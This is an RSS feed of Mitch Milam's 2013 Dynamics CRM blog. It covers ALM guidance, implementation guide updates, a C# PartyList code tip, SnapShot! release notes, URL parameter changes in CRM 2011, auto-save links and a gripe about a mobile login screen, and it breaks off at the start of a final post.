<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mitch Milam&#039;s Dynamics CRM and xRM Discussions</title>
	<atom:link href="http://blogs.infinite-x.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.infinite-x.net</link>
	<description>Sharing information with Dynamics CRM users and xRM developers</description>
	<lastBuildDate>Fri, 17 May 2013 02:11:30 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>ALM for Microsoft Dynamics CRM 2011: CRM Solution Lifecycle Management</title>
		<link>http://blogs.infinite-x.net/2013/05/16/alm-for-microsoft-dynamics-crm-2011-crm-solution-lifecycle-management/</link>
		<comments>http://blogs.infinite-x.net/2013/05/16/alm-for-microsoft-dynamics-crm-2011-crm-solution-lifecycle-management/#comments</comments>
		<pubDate>Fri, 17 May 2013 02:11:30 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[Customization]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1666</guid>
		<description><![CDATA[As Microsoft Dynamics CRM continues pushing towards the enterprise space, it becomes increasingly important to support the requirements of the enterprise—not only through the product but also in terms of functionality, scale, resilience, and security. From an implementation perspective, enterprises expect to be able to have structured, repeatable processes that are predictable and well documented [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1666">ALM for Microsoft Dynamics CRM 2011: CRM Solution Lifecycle Management</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>As Microsoft Dynamics CRM continues pushing towards the enterprise space, it becomes increasingly important to support the requirements of the enterprise—not only through the product but also in terms of functionality, scale, resilience, and security. </p>
<p>From an implementation perspective, enterprises expect to be able to have structured, repeatable processes that are predictable and well documented to manage their application lifecycle. </p>
<p>To date, a number of approaches have been articulated through various channels and from a variety of sources, but a definitive and full lifecycle approach has not been concisely communicated by Microsoft. </p>
<p>Many customers, partners, and consultants within MCS are reaching out for best practice advice and guidance, and it is Microsoft’s responsibility to deliver on this expectation. This document focuses on providing a coherent end-to-end approach to enterprise development for Dynamics CRM.</p>
<p><a title="http://www.microsoft.com/en-us/download/details.aspx?id=39044" href="http://www.microsoft.com/en-us/download/details.aspx?id=39044">http://www.microsoft.com/en-us/download/details.aspx?id=39044</a></p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1666">ALM for Microsoft Dynamics CRM 2011: CRM Solution Lifecycle Management</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/05/16/alm-for-microsoft-dynamics-crm-2011-crm-solution-lifecycle-management/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Microsoft Dynamics CRM 2011 Implementation Guide update 9 is available</title>
		<link>http://blogs.infinite-x.net/2013/05/15/microsoft-dynamics-crm-2011-implementation-guide-update-9-is-available/</link>
		<comments>http://blogs.infinite-x.net/2013/05/15/microsoft-dynamics-crm-2011-implementation-guide-update-9-is-available/#comments</comments>
		<pubDate>Wed, 15 May 2013 21:36:58 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[Administration]]></category>
		<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1664</guid>
		<description><![CDATA[Microsoft Dynamics CRM 2011 Implementation Guide (IG) update 9 (5.9.0) is now live on TechNet and is also available on the Microsoft Download Center in Word, compiled Help file (CHM), and PDF (recommended for small screens and tablets) formats. Below are a few of the additions and updates you’ll find in this update. New and [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1664">Microsoft Dynamics CRM 2011 Implementation Guide update 9 is available</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>Microsoft Dynamics CRM 2011 Implementation Guide (IG) update 9 (5.9.0) is now live on <a href="http://technet.microsoft.com/en-us/library/hh699811.aspx">TechNet</a> and is also available on the <a href="http://go.microsoft.com/fwlink/?LinkID=200050">Microsoft Download Center</a> in Word, compiled Help file (CHM), and PDF (recommended for small screens and tablets) formats. </p>
<p>Below are a few of the additions and updates you’ll find in this update.<br />
<table border="1" cellspacing="3" cellpadding="0">
<tbody>
<tr>
<td>
<p><b>New and updated topics </b><b></b></p>
</td>
<td>
<p><b>Description of changes </b><b></b></p>
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td>&nbsp;</td>
</tr>
<tr>
<td>
<p><a href="http://technet.microsoft.com/en-us/library/5622050b-a0e8-40ca-9ed5-fc082d5212a8#BKMK_emailrouter_tracing">Enable tracing for Microsoft Dynamics CRM E-mail Router</a></p>
</td>
<td>
<p>New topic that explains how to enable tracing for the Microsoft Dynamics CRM E-mail Router.</p>
</td>
</tr>
<tr>
<td>
<p><a href="http://technet.microsoft.com/en-us/library/1f5d3be8-bec4-44b2-86c7-e4dbd18a8eae#BKMK_Windows_Server_2012">Supported Windows Server 2012 editions</a></p>
</td>
<td>
<p>Added information for support with Microsoft Dynamics CRM Server 2011 running on Windows Server 2012.</p>
</td>
</tr>
<tr>
<td>
<p><a href="http://technet.microsoft.com/en-us/library/dn167638.aspx">How to upgrade a Microsoft Dynamics CRM Server application to Windows Server 2012</a></p>
</td>
<td>
<p>Instructions to upgrade an existing computer that is running a Microsoft Dynamics CRM 2011 application to Windows Server 2012.</p>
</td>
</tr>
<tr>
<td>
<p><a href="http://technet.microsoft.com/en-us/library/dn132632.aspx">Microsoft Dynamics CRM 2011 Maintenance Jobs</a></p>
</td>
<td>
<p>Information about Microsoft Dynamics CRM 2011 maintenance jobs that are executed by the Microsoft Dynamics CRM Asynchronous Processing Service (maintenance) service.</p>
</td>
</tr>
<tr>
<td>
<p><a href="http://technet.microsoft.com/en-us/library/0e35546e-766b-4f5a-aead-0e8219ecb7f2#BKMK_usercred_CW">User credentials are required when you run the Configuration Wizard</a></p>
</td>
<td>
<p>Added new subtopic that describes user credential requirements when you run the Configuration Wizard.</p>
</td>
</tr>
<tr>
<td>
<p><a href="http://technet.microsoft.com/en-us/library/bec19b47-d167-4acb-b554-05c45b819c3f#BKMK_run_mult_office">Running Microsoft Dynamics CRM for Outlook on computers that have multiple versions of Outlook installed</a></p>
</td>
<td>
<p>New subtopic that explains the behavior when you run Microsoft Dynamics CRM 2011 for Outlook on a computer that has multiple versions of Microsoft Office installed.</p>
</td>
</tr>
<tr>
<td>
<p><a href="http://technet.microsoft.com/en-us/library/0e35546e-766b-4f5a-aead-0e8219ecb7f2#BKMK_usercred_CW">User credentials are required when you run the Configuration Wizard</a></p>
<p><a href="http://technet.microsoft.com/en-us/library/0e35546e-766b-4f5a-aead-0e8219ecb7f2#BKMK_SampleConfFile">Sample Microsoft Dynamics CRM for Outlook XML configuration file for configuration</a></p>
</td>
<td>
<p>New subtopic that explains how user credentials are required when you use the Configuration Wizard to configure Microsoft Dynamics CRM 2011 for Outlook for a silent deployment. </p>
<p>Expanded the script sample to include cmdkey for adding user credentials to the Windows Vault. </p>
</td>
</tr>
</tbody>
</table>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1664">Microsoft Dynamics CRM 2011 Implementation Guide update 9 is available</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/05/15/microsoft-dynamics-crm-2011-implementation-guide-update-9-is-available/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CRM Developer Tip o&#039; the Day: Working with PartyLists</title>
		<link>http://blogs.infinite-x.net/2013/05/10/crm-developer-tip-o-the-day-working-with-partylists/</link>
		<comments>http://blogs.infinite-x.net/2013/05/10/crm-developer-tip-o-the-day-working-with-partylists/#comments</comments>
		<pubDate>Fri, 10 May 2013 14:10:34 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1662</guid>
		<description><![CDATA[I ran into an issue in a plugin this week where I needed to decode the To and From fields of an Email. While this doesn&#039;t seem like a huge task, these fields are of the type PartyList, which can be somewhat difficult to work with, at times. I found the following response by Thomas [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1662">CRM Developer Tip o' the Day: Working with PartyLists</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>I ran into an issue in a plugin this week where I needed to decode the To and From fields of an Email. While this doesn&#039;t seem like a huge task, these fields are of the type PartyList, which can be somewhat difficult to work with, at times.</p>
<p>I found the following <a href="http://stackoverflow.com/questions/8155771/how-to-get-the-contact-guids-from-a-partylist-in-a-plugin" target="_blank">response</a> by <a href="http://thdk.be/?page_id=22" target="_blank">Thomas Dekiere</a> on StackExchange that allowed me to extract the list of recipients (I have made some modifications to his code):</p>
<p><span style="color: #2b91af">Entity </span>entity = (<span style="color: #2b91af">Entity</span>)context.InputParameters[<span style="color: #a31515">&quot;Target&quot;</span>];    </p>
<p><span style="color: blue">string</span>subject = entity.GetAttributeValue&lt;<span style="color: #2b91af">String</span>&gt;(<span style="color: #a31515">&quot;subject&quot;</span>);    <br /><span style="color: #2b91af">EntityCollection </span>toCollection = entity.GetAttributeValue&lt;<span style="color: #2b91af">EntityCollection</span>&gt;(<span style="color: #a31515">&quot;to&quot;</span>);    </p>
<p><span style="color: blue">for</span>(<span style="color: blue">int </span>i = 0; i &lt; toCollection.Entities.Count; i++)    <br />{    <br />&#160;&#160;&#160; <span style="color: #2b91af">ActivityParty </span>ap = toCollection[i].ToEntity&lt;<span style="color: #2b91af">ActivityParty</span>&gt;();    </p>
<p>&#160;&#160;&#160; <span style="color: #2b91af">EntityReference </span>party = ap.PartyId;    </p>
<p>&#160;&#160;&#160; <span style="color: green">// do something with the Entity Reference     <br /></span>}     </p>
<p>Here is how you create a PartyList field:</p>
<p><span style="color: blue">var </span>entity = <span style="color: blue">new </span><span style="color: #2b91af">Email </span>{    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; From = <span style="color: blue">new</span>[]    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">new </span><span style="color: #2b91af">ActivityParty </span>{    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ParticipationTypeMask = <span style="color: blue">new </span><span style="color: #2b91af">OptionSetValue</span>(1), <span style="color: green">// Sender     <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span>PartyId = user    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; }    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; },    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; To = <span style="color: blue">new</span>[]    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; {    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; <span style="color: blue">new </span><span style="color: #2b91af">ActivityParty     <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span>{    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ParticipationTypeMask = <span style="color: blue">new </span><span style="color: #2b91af">OptionSetValue</span>(2), <span style="color: green">// ToRecipient     <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; </span>PartyId = contact    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; }    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; },    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; Subject = <span style="color: #a31515">&quot;test email: &quot; </span>+ <span style="color: #2b91af">DateTime</span>.Now.ToLongDateString(),    <br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; RegardingObjectId = contact    <br />&#160;&#160;&#160; };    </p>
<p>Hope that helps.</p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1662">CRM Developer Tip o' the Day: Working with PartyLists</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/05/10/crm-developer-tip-o-the-day-working-with-partylists/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SnapShot! 1.7 for Dynamics CRM Released</title>
		<link>http://blogs.infinite-x.net/2013/05/09/snapshot-1-7-for-dynamics-crm-released/</link>
		<comments>http://blogs.infinite-x.net/2013/05/09/snapshot-1-7-for-dynamics-crm-released/#comments</comments>
		<pubDate>Fri, 10 May 2013 03:22:53 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1661</guid>
		<description><![CDATA[Version 1.7 of the Dynamics CRM documentation tool, SnapShot! has been released. Visit the product information page for details and to download a sample report. Change in this version include: JScript Library Usage Report This report shows what libraries are referenced by which forms: &#160; JScript Function Reference Report The Function Reference report has been [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1661">SnapShot! 1.7 for Dynamics CRM Released</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>Version 1.7 of the Dynamics CRM documentation tool, SnapShot! has been released.</p>
<p>Visit the <a href="http://www.crmaccelerators.net/products/snapshot-for-dynamics-crm/" target="_blank">product information page</a> for details and to download a <a href="http://www.crmaccelerators.net/downloads/SnapShotSampleReports" target="_blank">sample report</a>.</p>
<p>Change in this version include:</p>
<h4>JScript Library Usage Report</h4>
<p>This report shows what libraries are referenced by which forms:</p>
<p><a href="http://blogs.infinite-x.net/wp-content/uploads/2013/05/image.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://blogs.infinite-x.net/wp-content/uploads/2013/05/image_thumb.png" width="504" height="125" /></a></p>
<p>&#160;</p>
<h4>JScript Function Reference Report</h4>
<p>The Function Reference report has been modified to include additional information including:</p>
<ul>
<li>Entity Name</li>
<li></td>
<td width="133">Form Name</li>
<li></td>
<td width="211">Field Name</li>
<li></td>
<td width="97">Event Name</li>
<li></td>
<td width="72">Enabled</li>
<li></td>
<td width="233">Library Name</li>
<li></td>
<td width="280">Function Name</li>
<li></td>
<td width="168">Pass Execution Context</li>
<li></td>
<td width="293">Parameters</td>
</li>
</ul>
<p>&#160;</p>
<h4>Forms Report</h4>
<p>Additional form details are now included:</p>
<ul>
<li>Entity&#160; </li>
<li>Form Name&#160;&#160;&#160; </li>
<li>Form Type&#160;&#160;&#160; </li>
<li>Description&#160;&#160;&#160; </li>
<li>Order&#160;&#160;&#160; </li>
<li>Is Fallback Form&#160;&#160;&#160; </li>
<li>Security Roles</li>
</ul>
<p>&#160;</p>
<p>Drop me an email if you have questions, comments, or suggestions for enhancements</p>
<p>mitch at crmaccelerators dot net</p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1661">SnapShot! 1.7 for Dynamics CRM Released</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/05/09/snapshot-1-7-for-dynamics-crm-released/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CRM Upgrade Note: Check your URL References</title>
		<link>http://blogs.infinite-x.net/2013/04/25/crm-upgrade-note-check-your-url-references/</link>
		<comments>http://blogs.infinite-x.net/2013/04/25/crm-upgrade-note-check-your-url-references/#comments</comments>
		<pubDate>Thu, 25 Apr 2013 12:30:33 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[CRM 4.0 to 2011 Upgrade]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1652</guid>
		<description><![CDATA[I ran into an unexpected situation during an upgrade that quite honestly, left me a bit baffled. It seems a breaking change was introduced during the CRM 2011 upgrade process. &#160; Some Background In CRM 4.0, you could open an Entity record with either one of the following URLs: http://crm2011/Contoso/userdefined/edit.aspx?id=%7bE50B1A7B-1AA2-E211-953E-00155D200507%7d&#38;etn=new_entity http://crm2011/Contoso/userdefined/edit.aspx?id=%7bE50B1A7B-1AA2-E211-953E-00155D200507%7d&#38;etc=10010 The difference being using [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1652">CRM Upgrade Note: Check your URL References</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>I ran into an unexpected situation during an upgrade that quite honestly, left me a bit baffled. It seems a breaking change was introduced during the CRM 2011 upgrade process.</p>
<p>&#160;</p>
<h4>Some Background</h4>
<p>In CRM 4.0, you could open an Entity record with either one of the following URLs:</p>
<p><a href="http://crm2011/Contoso/userdefined/edit.aspx?id=%7bE50B1A7B-1AA2-E211-953E-00155D200507%7d&amp;etn=new_entity">http://crm2011/Contoso/userdefined/edit.aspx?id=%7bE50B1A7B-1AA2-E211-953E-00155D200507%7d&amp;<strong>etn</strong>=new_entity</a></p>
<p><a href="http://crm2011/Contoso/userdefined/edit.aspx?id=%7bE50B1A7B-1AA2-E211-953E-00155D200507%7d&amp;etc=10010">http://crm2011/Contoso/userdefined/edit.aspx?id=%7bE50B1A7B-1AA2-E211-953E-00155D200507%7d&amp;<strong>etc</strong>=10010</a></p>
<p>The difference being using the parameter <strong>etn</strong> (entity type name) instead of <strong>etc</strong> (entity type code). Using <strong>etn</strong> is preferable because it causes fewer issues when migrating from one system to another (development, test, production).</p>
<p>This technique is used extensively in an xRM scenario where you may have additional web pages that use or reference CRM data. It is common to have a screen artifact, like a button, that will open a CRM record when pressed and the URLs listed above are what is used.</p>
<p>.</p>
<h4>The Issue</h4>
<p>It would seem that the <strong>etn</strong> parameter is no longer supported by the edit.aspx page in CRM 2011 for what appears to be custom entities only. It seems to work fine for out-of-the-box entities.</p>
<p>&#160;</p>
<h4>The Solution</h4>
<p>The use of <strong>etn</strong> is ONLY supported on <u>main.aspx</u>, AND you need to specify the <b>&amp;pagetype=entityrecord</b> parameter, like this:</p>
<p><a href="http://crm2011/Contoso/main.aspx?etn=new_entity&amp;id=%7bBB81247D-7494-E111-913F-00155D00650B%7d&amp;pagetype=entityrecord">http://crm2011/Contoso/main.aspx?etn=new_entity&amp;id=%7bBB81247D-7494-E111-913F-00155D00650B%7d&amp;pagetype=entityrecord</a></p>
<p>&#160;</p>
<h4>Further Confusion</h4>
<p>I am sure you have noticed, and maybe used, the Copy a Link/Email a Link functionality built into CRM:</p>
<p><a href="http://blogs.infinite-x.net/wp-content/uploads/2013/04/image1.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://blogs.infinite-x.net/wp-content/uploads/2013/04/image_thumb1.png" width="211" height="100" /></a></p>
<p>This is a very handy feature and I use it all of the time.</p>
<p>Unfortunately, it will return a different URL depending on the entity being used. Standard entities will produce a URL with main.aspx while custom entities will produce edit.aspx.</p>
<p>And again, only main.aspx can use the <strong>etn</strong> parameter.</p>
<p>&#160;</p>
<h4>Additional Reading</h4>
<p>I cover this topic a little more in this article:</p>
<p><a href="http://www.crmaccelerators.net/2013/04/23/upgrade-your-url-parameter-references/">Upgrade Your URL Parameter References</a></p>
<p>and I&#039;ll update that article to reflect this new information.</p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1652">CRM Upgrade Note: Check your URL References</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/04/25/crm-upgrade-note-check-your-url-references/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Dynamics CRM development and the new auto-save feature</title>
		<link>http://blogs.infinite-x.net/2013/04/24/dynamics-crm-development-and-the-new-auto-save-feature/</link>
		<comments>http://blogs.infinite-x.net/2013/04/24/dynamics-crm-development-and-the-new-auto-save-feature/#comments</comments>
		<pubDate>Wed, 24 Apr 2013 14:54:50 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1648</guid>
		<description><![CDATA[The Dynamics CRM 2011 December 2012 service update (otherwise code-named Polaris) gave us the new Flow-UI forms. These forms include an auto-save feature that can, and probably will, effect the way we CRM developers approach our work. If you have not investigated the side-effects and other design-considerations for this new feature, please take a look [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1648">Dynamics CRM development and the new auto-save feature</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>The Dynamics CRM 2011 December 2012 service update (otherwise code-named Polaris) gave us the new Flow-UI forms. These forms include an auto-save feature that can, and probably will, effect the way we CRM developers approach our work.</p>
<p>If you have not investigated the side-effects and other design-considerations for this new feature, please take a look at the following articles:</p>
<p><a href="http://blogs.msdn.com/b/crm/archive/2013/02/18/auto-save-for-updated-user-experience-forms-in-december-2012-service-update.aspx" target="_blank">Auto Save for Updated User Experience Forms in December 2012 Service Update</a></p>
<p><a href="http://msdn.microsoft.com/en-us/library/hh913610.aspx" target="_blank">Design Considerations for Different Form Presentations</a></p>
<p><a href="http://niiranen.eu/crm/2013/02/side-effects-of-the-polaris-ui/">Side effects of the Polaris UI</a></p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1648">Dynamics CRM development and the new auto-save feature</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/04/24/dynamics-crm-development-and-the-new-auto-save-feature/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Worst-Ever Mobile Login Design Experience</title>
		<link>http://blogs.infinite-x.net/2013/04/23/worst-ever-mobile-login-design-experience/</link>
		<comments>http://blogs.infinite-x.net/2013/04/23/worst-ever-mobile-login-design-experience/#comments</comments>
		<pubDate>Tue, 23 Apr 2013 20:40:09 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[mobile]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1647</guid>
		<description><![CDATA[This has to be the worst design of any mobile application that I use: &#160; Do you see the big blue button?&#160; Would it not seem that since it is the largest on the screen, it is the most important and/or most powerful? Uh, no.&#160; It is the most infuriating. Pressing that button will erase [...]<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1647">Worst-Ever Mobile Login Design Experience</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></description>
				<content:encoded><![CDATA[<p>This has to be the worst design of any mobile application that I use:</p>
<p><a href="http://blogs.infinite-x.net/wp-content/uploads/2013/04/photo.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="photo" border="0" alt="photo" src="http://blogs.infinite-x.net/wp-content/uploads/2013/04/photo_thumb.png" width="254" height="379" /></a></p>
<p>&#160;</p>
<p>Do you see the big blue button?&#160; Would it not seem that since it is the largest on the screen, it is the most important and/or most powerful?</p>
<p>Uh, no.&#160; It is the most infuriating.</p>
<p>Pressing that button will erase your cached user name and cause you to start the login process from scratch.</p>
<p>I have no idea who thought that was a good idea, because it is mostly not.</p>
<p>In my opinion, the Clear remembered user and SIGN IN buttons should be reversed.</p>
<p>( and while you&#039;re at it, stop shouting at me to sign-in… )</p>
<div class="tentblogger-rss-footer"><hr /><p>You just finished reading <a href="http://blogs.infinite-x.net/?p=1647">Worst-Ever Mobile Login Design Experience</a>!  Consider leaving a comment!</p><p>Follow me on Twitter @mitchmilam. Read my new book: <a href="http://blogs.infinite-x.net/books/dynamics-crm-deep-dive-security/" target="_blank">Dynamics Deep Dive: Security</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://blogs.infinite-x.net/2013/04/23/worst-ever-mobile-login-design-experience/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CRM SDK Nugget: Entity.ToEntityReference Method</title>
		<link>http://blogs.infinite-x.net/2013/04/23/crm-sdk-nugget-entity-toentityreference-method/</link>
		<comments>http://blogs.infinite-x.net/2013/04/23/crm-sdk-nugget-entity-toentityreference-method/#comments</comments>
		<pubDate>Tue, 23 Apr 2013 19:26:15 +0000</pubDate>
		<dc:creator>Mitch Milam</dc:creator>
				<category><![CDATA[CRM 2011]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[Dynamics CRM]]></category>
		<category><![CDATA[MSDYNCRM]]></category>

		<guid isPermaLink="false">http://blogs.infinite-x.net/?p=1644</guid>
